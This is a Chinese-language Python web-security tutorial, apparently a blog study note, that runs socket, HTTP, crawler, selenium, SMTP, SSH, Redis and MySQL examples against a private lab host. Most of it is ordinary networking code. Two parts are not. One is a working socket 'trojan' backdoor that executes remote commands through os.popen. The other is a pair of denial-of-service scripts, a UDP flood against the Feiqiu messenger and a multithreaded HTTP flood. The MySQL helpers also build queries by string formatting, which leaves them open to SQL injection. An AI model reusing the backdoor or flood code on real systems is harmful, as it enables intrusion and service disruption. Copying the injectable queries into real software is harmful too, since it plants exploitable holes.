python WEB安全
python WEB安全 通信协议
一、socket实现网络通信
1、socket实现通信
服务端代码
import socket
# 定义服务端通信函数
def server_socket():
# 实例化对象
s = socket.socket()
# 绑定IP和端口
# 绑定127.0.0.1只能本地访问;局域网无法访问,局域网访问需要局域网地址
# 绑定0.0.0.0表示所有IP1均可访问
s.bind(('0.0.0.0',9090))
# 监听绑定的信息
s.listen()
# 拿到本次通道和客户端信息
chanel, client = s.accept()
while True:
# 接受信息并限制通信内容大小
receive = chanel.recv(40960)
# 解码
data = receive.decode()
if data:
print(f"接收信息为:>{data}")
# 回复信息
reply = input("请输入要回复的信息:>")
chanel.send(reply.encode())
else:
chanel.close()
s.close()
if __name__ == '__main__':
server_socket()
客户端代码
import socket
# 定义客户端通信函数
def client_socket():
# 实例化对象
s = socket.socket()
# 设置要连接对方(这里为服务端)的IP和端口
s.connect(('192.168.202.137',9090))
while True:
message = input("输入信息:>")
# 对发送信息进行编码并发送
s.send(message.encode())
# 接收信息
receive = s.recv(40960)
# 解码接收到的信息并打印
print(f"服务器回复:>{receive.decode()}")
if __name__ == '__main__':
client_socket()
2、socket实现木马
木马版的服务端代码
import socket,os
def trojan_attack():
try:
# 实例化对象
s = socket.socket()
# 绑定IP和端口
# 绑定127.0.0.1只能本地访问;局域网无法访问,局域网访问需要局域网地址
# 绑定0.0.0.0表示所有IP1均可访问
s.bind(('0.0.0.0', 9090))
# 监听绑定的信息
s.listen()
# 拿到本次通道和客户端信息
chanel, client = s.accept()
while True:
# 接受信息并解码
receive = chanel.recv(40960)
data = receive.decode()
# 制定特殊信息格式,表示执行命令;==##==,command
# 判断字符串是不是以指定前缀开头,返回布尔值 True / False
if data.startswith('==##=='):
command = data.split(',')[-1]
# 执行木马命令的核心代码
reply = os.popen(command).read()
# 返回命令响应结果
chanel.send(f"命令响应的结果为:\n{reply}".encode())
else:
if data:
print(f"接收信息为:>{data}")
# 回复信息
reply = input("请输入要回复的信息:>")
chanel.send(reply.encode())
else:
chanel.close()
s.close()
except:
chanel.close()
s.close()
# 服务器木马自调用
trojan_attack()
if __name__ =='__main__':
trojan_attack()
客户端不变
3、socket实现对飞秋的DOS攻击
import socket
import time
# socket的DOS攻击的条件就是通过对开放的通信协议,进行自定义构建数据包,再大量发送该数据包耗尽服务端的流量资源或连接数量
# DOS攻击飞秋(无伪装、单线程)
def feiqiu_dos():
while True:
# 以UDP协议通信
s = socket.socket(type=socket.SOCK_DGRAM)
s.connect(('10.128.0.0',2425))
# 利用wireshark抓包可知(需要抓包对通信软件的数据包格式有所了解)
# feiqiu软件通信的协议格式为> 版本号:包编号:发送者姓名:发送者主机名:命令字段:附加信息
# 1、生成包编号
packetId = str(time.time())
# 2、发送者姓名
name = 'AN'
# 3、发送者主机名
host = "MyHostName"
# 4、命令字段
command = str(0x00000020)
# 5、附加信息
content = "This is the message from python."
# 最终的数据格式为:> 版本号:包编号:发送者姓名:发送者主机名:命令字段:附加信息
message = "1.0:"+packetId+":" + name + ":" + host + ":" + command + ":" +content
# 这里攻击本质是建立多个连接资源使得被攻击者的资源耗尽;而不是在一个连接里进行发多个消息
s.send(message.encode())
if __name__ == "__main__":
feiqiu_dos()
二、requests库实现http协议层面(网站操作)
1、实现get请求并爬取页面内容
import requests
def req_get():
# 简单的爬取页面前端源码
url = "http://192.168.202.137/sqliLabs/Less-1/?id=1"
# 发送get请求并保存返回值
resp = requests.get(url=url)
# 对保存值进行编码
resp.encoding = "utf-8"
# 打印保存值的文本
print(resp.text)
def down_get():
# 下载图片
url = "https://192.168.202.137/sqliLabs/Less-1/?id=1"
# verify=False表示对https的请求忽略证书
resp = requests.get(url=url,verify=False)
# 保存在文件中
with open('./image/1.jpg',mode='wb') as file:
file.write(resp.content)
if __name__ == "__main__":
req_get()
down_get()
2、实现post请求并上传内容
import requests
def data_post():
# 简单的POST提交
url = "http://192.168.202.137/sqliLabs/Less-11/"
data = {'uname':'admin','passwd':'123qwe','submit':'Submit'}
resp = requests.post(url=url,data=data)
print(resp.text)
print(resp.headers)
if 'Login name' in resp.text:
print("登录成功")
else:
print("登陆失败")
def file_post():
# 文件上传(session维持权限)
session = requests.session()
url = 'http://192.168.202.137/uploadLabs/Pass-04/index.php'
data = {"submit":"上传"}
file ={"upload_file": open("./image/1.jpg",mode='rb')}
resp = session.post(url=url,data=data,files=file)
if __name__ == "__main__":
data_post()
file_post()
3、实现多线程流量泛洪攻击
import time,requests,threading
# 实例化请求对象
session = requests.session()
# 装饰器,收集响应时间
def performance(func):
def inner():
start = time.time()
func()
end = time.time()
print(f"请求:{func.__name__}的响应时间为:{round(end-start,4)}")
return inner
# 访问首页
@performance
def home():
url = 'http://192.168.202.137/sqliLabs/Less-11/'
resp = session.get(url=url)
if 'Username' in resp.text:
print("首页访问成功")
else:
print('访问失败')
# 登录
@performance
def login():
url = 'http://192.168.202.137/sqliLabs/Less-11/'
data = {'uname':'admin','passwd':'123qwe','submit':'Submit'}
resp = session.post(url=url,data=data)
if "Your Login" in resp.text:
print('登录成功')
else:
print('登录失败')
# 基于http协议的流量泛洪攻击
def www_flood():
for i in range(10000):
home()
login()
if __name__ == '__main__':
while True:
threading.Thread(target=www_flood).start()
三、基于requests库实现爬虫
1、基于正则表达式对爬取数据进行处理
import re,requests,random
import time
def down_page(url):
resp = requests.get(url=url)
# 1、解析网页的超链接,正则表达式找页面中的a标签
# <a href=为左边界,"为右边界,(.+?)表示非贪婪模式(找最近的右边界)
links = re.findall('<a href="(.+?)"',resp.text)
# 对链接内容优化(去重)
unique_links = list(dict.fromkeys(links))
urls = []
for link in unique_links:
# 拼接出完整的url
if link.startswith('/'):
link = "http://192.168.202.137/sqliLabs"+link
# 去掉非本网站链接
if "192.168.202.137" not in link:
continue
urls.append(link)
# 将页面HTML内容保存到本地文件
resp = requests.get(link)
resp.encoding = 'utf-8'
filename = link.split('/')[-1]+time.strftime('%Y%m%d_%H%M%S')+'.html'
with open(f'./page/{filename}',mode='w',encoding='utf-8') as file:
file.write(resp.text)
# 获取到新的链接后再接着爬取
for url in urls:
get_spider(url=url)
def down_image(url):
resp = requests.get(url=url)
# 爬出页面图片
images_links = re.findall(r'<img[^>]+src=["\'](.*?)["\']', resp.text)
print(images_links)
for images_link in images_links:
if images_link.startswich('/'):
images_link = "http://192.168.202.137/sqliLabs" + images_link
if "192.168.202.137" not in images_link:
continue
resp = requests.get(images_link)
filename = time.strftime('%Y%m%d_%H%M%S') + images_link.split('/')[-1]
with open(f'./image/{filename}',mode='wb') as file:
file.write(resp.content)
if __name__ == '__main__':
down_page(url="http://192.168.202.137/sqliLabs/")
down_image(url="http://192.168.202.137/sqliLabs/")
2、基于BeautifulSoup库对页面元素操作
四、基于selenium库的DOM操作web页面(依靠chromedriver类型程序)
import time
from selenium.webdriver.chrome.service import Service
# 协议层面无法操作时(加密等情况),可考虑模拟界面的操作
# scapy处理更底层的(链路层)
# 要操作window元素,则使用uiautomation库;处理移动端用appium库
from selenium import webdriver
from selenium.webdriver.common.by import By
# 第一步打开程序出现页面
# 1、实例化webdriver对象,用于初始化浏览器操作
# 指定chromedriver(谷歌)或geckodriver(火狐)程序路径,或者将下载的程序放在py下的Scripts路径下
# service = Service(executable_path=r'E:\WangAn_gongju\14_Environment\python\python3.12.3\Scripts\chromedriver.exe')
# driver = webdriver.Chrome()
driver = webdriver.Firefox()
# 指定窗口最大化
# driver.maximize_window()
# 2、访问目标网站的页面地址
driver.get('http://192.168.202.137/sqliLabs/Less-20/')
# 以下可用于协议走不通时的界面爬虫
# 打印界面相关信息
# print(driver.title)
# print(driver.page_source)
# print(driver.get_cookies())
# 其他相关操作
# driver.refresh()
# driver.back()
# driver.forward()
time.sleep(5)
# 第二步找到操作界面的元素并对其模拟人的操作(方法一:基于元素特征进行识别。方法二:基于计算机图像识别和对比opencv)
# 方法一:基于元素特征进行识别
# 基于name选择
driver.find_element(By.NAME,'uname').send_keys('admin')
time.sleep(1)
# 基于CSS选择器选择(浏览器中可直接复制)
driver.find_element(By.CSS_SELECTOR,'body > div:nth-child(2) > div:nth-child(1) > form:nth-child(1) > div:nth-child(2) > input:nth-child(1)').send_keys('123qwe')
time.sleep(1)
# 基于XPath路径选择(浏览器中可直接复制)
driver.find_element(By.XPATH, '/html/body/div[2]/div/form/div[3]/input').click()
# 第三步对其操作后进行结果认证,确认是否成功
# 1、通过尝试对登录成功页面的元素发送东西来判断
# try:
# driver.find_element(By.XPATH,"/html/body/center/font/font/center/form/input").send_keys('123qwe')
# print('登录成功')
# except:
# print('登录失败')
# 2、通过内容来判断
if 'Your Password:123qwe' in driver.page_source:
print('登录成功')
else:
print("登录失败")
# 第四步关闭driver
driver.close()
五、基于uiautomation库对window系统界面进行操作(依赖UISpy程序)
import time
import uiautomation as auto # 推荐用 auto 作为别名,写起来短一点
time.sleep(5)
# 基于当前页面视觉实现的(界面看不到无法操作)
# 1. 获取计算器窗口(注意 W 大写)
calc = auto.WindowControl(Name='计算器')
# 补充:如果你发现找不到,可能是因为你的系统是英文的,可以改成 auto.WindowControl(Name='Calculator')
# 或者直接通过类名查找:auto.WindowControl(searchDepth=1, ClassName='ApplicationFrameWindow')
# 如果找不到窗口,可以加个判断避免程序继续运行报错
if not calc.Exists(1):
print("未找到计算器窗口,请确认计算器已打开")
exit()
# 2. 定位并点击按钮
# 使用 AutomationId 更稳定,不受系统语言影响
btnOne = calc.ButtonControl(AutomationId='num1Button')
btnOne.Click()
btnPlus = calc.ButtonControl(AutomationId='plusButton')
btnPlus.Click()
# 之前你用 Name="五" 是有风险的,改成 num5Button
btnFive = calc.ButtonControl(AutomationId='num5Button')
btnFive.Click()
# 之前用 Name="等于",改成 equalButton
btnEqual = calc.ButtonControl(AutomationId='equalButton')
btnEqual.Click()
六、Python实现SMTP协议的邮件通信
铭文传输
# 邮件协议:
# SMTP:发送邮件
# POP3、IMAP:收邮件,IMAP的实时性比POP3的实时性更强
# smtplib模块主要处理SMTP协议
import smtplib,time
# email模块主要处理邮件的头和正文等数据
# 处理二进制附件
from email.mime.application import MIMEApplication
# 充当邮件的“容器”,本身不存放具体内容,而是充当一个容器,用来声明“这封邮件由多个独立的部分组成”
from email.mime.multipart import MIMEMultipart
# 处理邮件的文字内容
from email.mime.text import MIMEText
# 定义发件人和收件人
sender = 'user1@sun.mail'
receiver = 'user2@sun.mail'
# 设置文本内容
title = 'Python测试邮箱'
test = '''
<div style='font-size: 30px;color: red;'><a href='www.baidu.com'>这是邮件的正文,点我有惊喜</a></div>
'''
# 设置邮件附件
filePath = './image/1.jpg'
# 设置邮件服务器信息
mailServer = '192.168.202.137'
mailPort = 25
# 设置邮件服务器登录账号信息
mailServerUsname = 'user1@sun.mail'
mailServerPasswd = '123qwe'
# 设置发送部分
# 实例化邮件主体对象
msg = MIMEMultipart()
# 邮件标题
msg['Subject'] = title
# 发件人
msg['From'] = sender
# 接收人
msg['To'] = receiver
# 发送内容
body = test
# 添加邮件附件
attachment = MIMEApplication(open(filePath,mode='rb').read())
filename = filePath.split('/')[-1]
# 1、对象:attachment (一个 MIMEApplication 实例,代表附件部分)。
# 方法:add_header(...)
# 参数1:'Content-Disposition' (HTTP/MIME 头部字段名)。
# 参数2:'attachment' (头部字段的值,表示这是一个附件,而非内联显示)。
# 参数3(关键字参数):filename=filename (附加参数,指定文件名)。
# 2、解释 Content-Disposition 的作用:
# 在 MIME 标准中,Content-Disposition 告诉邮件客户端(如 Outlook、Foxmail、网页邮箱)如何处理这个 MIME 部分。
# 主要值有两种:
# inline:在邮件正文中直接显示(比如内嵌图片)。
# attachment:作为附件下载,通常显示在邮件底部或附件栏。
attachment.add_header('Content-Disposition','attachment',filename=filename)
msg.attach(attachment)
# 实例化邮件内容对象
content = MIMEText(body,'html','utf-8')
# 将发送内容加载到文件主题中
msg.attach(content)
# 设置连接
# 建立服务器的连接并发送邮件
# 实例化连接对象
smtpObj = smtplib.SMTP() # 若基于SSL则smtplib.SMTP_SSL()
# 设置邮件服务器主机地址和SMTP端口
smtpObj.connect(mailServer,mailPort)
# 设置邮件登录账号和密码
smtpObj.login(user=mailServerUsname,password=mailServerPasswd)
# 发送邮件
smtpObj.sendmail(sender,receiver,str(msg))
# 关闭连接对象
smtpObj.quit()
SMTP明文一次通信的流量层面数据包
SSL的密文传输
以qq邮箱为例
# 邮件协议(都是铭文传输):
# SMTP:发送邮件
# POP3、IMAP:收邮件,IMAP的实时性比POP3的实时性更强
# smtplib模块主要处理SMTP协议
import smtplib,time
# email模块主要处理邮件的头和正文等数据
# 处理二进制附件
from email.mime.application import MIMEApplication
# 充当邮件的“容器”,本身不存放具体内容,而是充当一个容器,用来声明“这封邮件由多个独立的部分组成”
from email.mime.multipart import MIMEMultipart
# 处理邮件的文字内容
from email.mime.text import MIMEText
# 定义发件人和收件人
sender = ''
receiver = ''
# 设置文本内容
title = 'Python测试邮箱'
test = '''
<div style='font-size: 30px;color: red;'><a href='www.baidu.com'>这是邮件的正文,点我有惊喜</a></div>
'''
# 设置邮件附件
filePath = './image/1.jpg'
# 设置邮件服务器信息
mailServer = 'smtp.qq.com'
mailPort = 465
# 设置邮件服务器登录账号信息
mailServerUsname = ''
mailServerPasswd = '' # 注意这里为授权码
# 设置发送部分
# 实例化邮件主体对象
msg = MIMEMultipart()
# 邮件标题
msg['Subject'] = title
# 发件人
msg['From'] = sender
# 接收人
msg['To'] = receiver
# 发送内容
body = test
# 添加邮件附件
attachment = MIMEApplication(open(filePath,mode='rb').read())
filename = filePath.split('/')[-1]
# 1、对象:attachment (一个 MIMEApplication 实例,代表附件部分)。
# 方法:add_header(...)
# 参数1:'Content-Disposition' (HTTP/MIME 头部字段名)。
# 参数2:'attachment' (头部字段的值,表示这是一个附件,而非内联显示)。
# 参数3(关键字参数):filename=filename (附加参数,指定文件名)。
# 2、解释 Content-Disposition 的作用:
# 在 MIME 标准中,Content-Disposition 告诉邮件客户端(如 Outlook、Foxmail、网页邮箱)如何处理这个 MIME 部分。
# 主要值有两种:
# inline:在邮件正文中直接显示(比如内嵌图片)。
# attachment:作为附件下载,通常显示在邮件底部或附件栏。
attachment.add_header('Content-Disposition','attachment',filename=filename)
msg.attach(attachment)
# 实例化邮件内容对象
content = MIMEText(body,'html','utf-8')
# 将发送内容加载到文件主题中
msg.attach(content)
# 设置连接(注意qq服务器不支持连续不停发送,若要发送多封,建议每一封之间间隔一定时间)
# 建立服务器的连接并发送邮件
# 实例化连接对象
smtpObj = smtplib.SMTP_SSL(mailServer,mailPort)
# 设置邮件服务器主机地址和SMTP端口
smtpObj.connect(mailServer,mailPort)
# 设置邮件登录账号和密码
smtpObj.login(user=mailServerUsname,password=mailServerPasswd)
# 发送邮件
smtpObj.sendmail(sender,receiver,str(msg))
# 关闭连接对象
smtpObj.quit()
七、python实现ssh协议连接
import paramiko
# 设置服务端地址和端口
ipServer = '192.168.202.128'
ipPort = 22
# 1. 建立底层 transport
transport = paramiko.Transport((ipServer, ipPort))
transport.connect(username='kali', password='123qwe')
# 2. 用 transport 创建 SSHClient 形式的通道(用 open_session 执行命令)
ssh = paramiko.SSHClient()
ssh._transport = transport
# 3. 执行命令(exec_command 属于 SSHClient)
stdin, stdout, stderr = ssh.exec_command('ls /home/kali')
print(stdout.read().decode())
print(stderr.read().decode())
# 4. 如果还要传文件,用 transport 单独开一个 SFTP 通道
sftp = paramiko.SFTPClient.from_transport(transport)
sftp.put('localFilePath', 'serverFilePath')
sftp.get('serverFilePath', 'localFilePath')
# 5. 关闭连接
transport.close()
八、python实现Redis通信
Redis的前提配置条件:
# 在/etc/redis/redis.conf文件中修改以下配置
1、这表示允许监听所有可用的网络接口,从而接受外部连接
# 从这里改成
bind 127.0.0.1 -::1
# 改成这里
bind 0.0.0.0
2、配置redis服务端密码登录
# 这里改成
# requirepass foobared
# 改成这里
requirepass yourPasswd
3、确认受保护模式
# 这里改成
protected-mode
# 改成这里
protected-mode yes
# 重启服务端
systemctl restart redis-server
1、基于socket库实现
import socket
# 实例化socket对象
s=socket.socket()
# 配置连接地址和端口
s.connect(('192.168.202.128',6379))
# 发送特定数据格式的数据(对于明文传输的协议而言,通过wireshark抓包研究协议交流的格式)
# 这里*2表示有两个数据部分
# $4表示下面这个数据的长度为4个
# $6表示下面这个数据的长度为6个
s.send('*2\r\n$4\r\nauth\r\n$6\r\n123qwe\r\n'.encode())
# 查看返回数据
reply = s.recv(1024)
# 打印返回数据
print(reply.decode())
2、基于Redis库实现
import redis
# 实例化redis连接对象
red = redis.Redis(host='192.168.202.128',port=6379,password='123qwe',db=0)
# 执行redis方法(方法名称和redis数据库语法一致)
red.set('name','sjs')
print(red.get('name').decode())
九、python基于pymysql库对mysql远程连接
数据库连接并实现注册功能
# 数据库操作
# 1、建立数据库连接
# 2、执行SQL语句
# 3、关闭数据库连接
import pymysql
from pymysql.cursors import DictCursor
def MySelect(username):
try:
# 建立连接对象
conn = pymysql.connect(host='192.168.202.137', user='root', password='123qwe', database='security',charset='utf8', autocommit=True)
# 定义游标对象(游标对象执行SQL语句,并非连接对象执行SQL);DictCursor指定游标返回查询结果的类型为字典,需要额外导包,未指定时默认为二维元组
cursor = conn.cursor(DictCursor)
# 构造sql执行语句
sql = "select * from users where username = '%s'"% username
# 执行SQL语句
cursor.execute(sql)
# 获取结果集fetchall;
result = cursor.fetchall()
cursor.close()
conn.close()
return result
except:
raise Exception("数据库处理出错")
finally:
conn.close()
def MyUpdate(username,password):
try:
# 建立连接对象
conn = pymysql.connect(host='192.168.202.137', user='root', password='123qwe', database='security',charset='utf8', autocommit=True)
# 定义游标对象(游标对象执行SQL语句,并非连接对象执行SQL);DictCursor指定游标返回查询结果的类型为字典,需要额外导包,未指定时默认为二维元组
cursor = conn.cursor(DictCursor)
# 构造SQL语句
sql = "update users set password='%s' where password='%s'"%(password,username)
# 执行SQL语句
cursor.execute(sql)
# 所有更新操作必须确认提交;方式有两种:一种是在建立连接时设置autocommit,另一种是调用连接的commit方法显式提交
conn.commit()
# 事务回滚
# conn.rollback()
except Exception as e:
print(e)
raise Exception("数据库处理出错")
finally:
cursor.close()
conn.close()
def MyInsert(username,password):
try:
# 建立连接对象
conn = pymysql.connect(host='192.168.202.137', user='root', password='123qwe', database='security',charset='utf8', autocommit=True)
# 定义游标对象(游标对象执行SQL语句,并非连接对象执行SQL);DictCursor指定游标返回查询结果的类型为字典,需要额外导包,未指定时默认为二维元组
cursor = conn.cursor(DictCursor)
sql = "insert into users(username,password) values('%s','%s')"%(username,password)
cursor.execute(sql)
conn.commit()
except Exception as e:
print(e)
raise Exception("数据库处理出错")
finally:
cursor.close()
conn.close()
# 注册功能
def doReg():
username = input("请输入用户名:>")
result = MySelect(username)
if len(result):
print("用户存在,请重新输入")
doReg()
else:
password = input("请输入密码:>")
MyInsert(username,password)
return True
def doChallage():
username = input("请输入用户名:>")
result = MySelect(username)
if len(result) == 0:
print('用户不存在')
doChallage()
else:
password = input("请输入新密码:>")
MyUpdate(username,password)
return True
if __name__ == '__main__':
username = 'admin'
MySelect(username)
十、面向对象编程
import pymysql
from pymysql.cursors import DictCursor
class DB:
# 构造方法(实例化对象后自动执行)
def __init__(self,host='192.168.202.137',user='root',password='123qwe',database='security',charset='utf8',type='default'):
self.conn = pymysql.connect(host=host,user=user,password=password,database=database,charset=charset)
self.cursor = None
if type =='default':
self.cursor = self.conn.cursor()
elif type =='dict':
self.cursor = self.conn.cursor(DictCursor)
else:
raise Exception('参数type的值不正确,只能为default或dict.')
def query(self,sql):
self.cursor.execute(sql)
result = self.cursor.fetchall()
return result
def update(self,sql):
try:
self.cursor.execute(sql)
self.conn.commit()
print('执行更新操作成功.')
except:
print('执行更新操作出现异常,请确认.')
# 析构方法(监控到实例化的对象没有调用或程序执行完成后,释放空间)
def __del__(self):
self.conn.close()
if __name__ == '__main__':
db = DB()
print(db.query('select * from users'))

浙公网安备 33010602011771号